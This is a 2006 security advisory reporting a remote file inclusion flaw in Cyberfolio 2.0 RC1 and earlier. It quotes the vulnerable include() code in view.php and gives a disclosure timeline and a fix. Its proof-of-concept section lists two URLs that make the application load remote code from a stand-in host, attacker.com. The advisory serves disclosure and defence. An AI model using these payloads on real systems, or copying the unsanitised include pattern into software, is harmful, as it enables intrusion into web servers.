----------------------------------------------------------------------------------------------- [ECHO_ADV_58$2006]Cyberfolio <=2.0 RC1 $av Remote File Inclusion Vulnerability ----------------------------------------------------------------------------------------------- Author : Dedi Dwianto a.k.a the_day Date Found : November, 01nd 2006 Location : Indonesia, Jakarta web : http://advisories.echo.or.id/adv/adv58-theday-2006.txt Critical Lvl : Highly critical Impact : System access Where : From Remote --------------------------------------------------------------------------- Affected software description: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Application : Cyberfolio version : <=2.0 RC1 URL : http://www.cyberfolio.org --------------------------------------------------------------------------- Vulnerability: ~~~~~~~~~~~~~~ I found vulnerability in script view.php --------------------------view.php----------------------------------- .... <? ... $newfic=$av."checkauth".$_SESSION[inlog].".php"; include("$newfic"); include_once($av."config.php"); include_once($av."connect.php"); ... ---------------------------------------------------------- Input passed to the "$av" parameter in view.php is not properly verified before being used. This can be exploited to execute arbitrary PHP code by including files from local or external resources. Also affected files : portfolio/msg/view.php portfolio/msg/inc_message.php portfolio/msg/inc_envoi.php portfolio/admin/incl_voir_compet.php Proof Of Concept: ~~~~~~~~~~~~~~~ http://target.com/cyberfolio/portfolio/msg/view.php?av=http://attacker.com/inject.txt? http://target.com/cyberfolio/portfolio/admin/incl_voir_compet.php?av=http://attacker.com/inject.txt? Solution: ~~~~~~~ - Sanitize variable $av affected files. - Turn off register_globals Timeline : ~~~~~~~~~ 01 - 11 - 2006 bugs found 01 - 11 - 2006 vendor contacted 07 - 11 - 2006 public disclosure --------------------------------------------------------------------------- Shoutz: ~~~ ~ y3dips,moby,comex,z3r0byt3,K-159,c-a-s-e,S`to,lirva32,anonymous ~ Jessy My Brain ~ az001,bomm_3x,matdhule,angelia ~ newbie_hacker@xxxxxxxxxxxxxxx ~ #aikmel - #e-c-h-o @irc.dal.net ------------------------------------------------------------------------ --- Contact: ~~~~ EcHo Research & Development Center the_day[at]echo[dot]or[dot]id -------------------------------- [ EOF ]----------------------------------
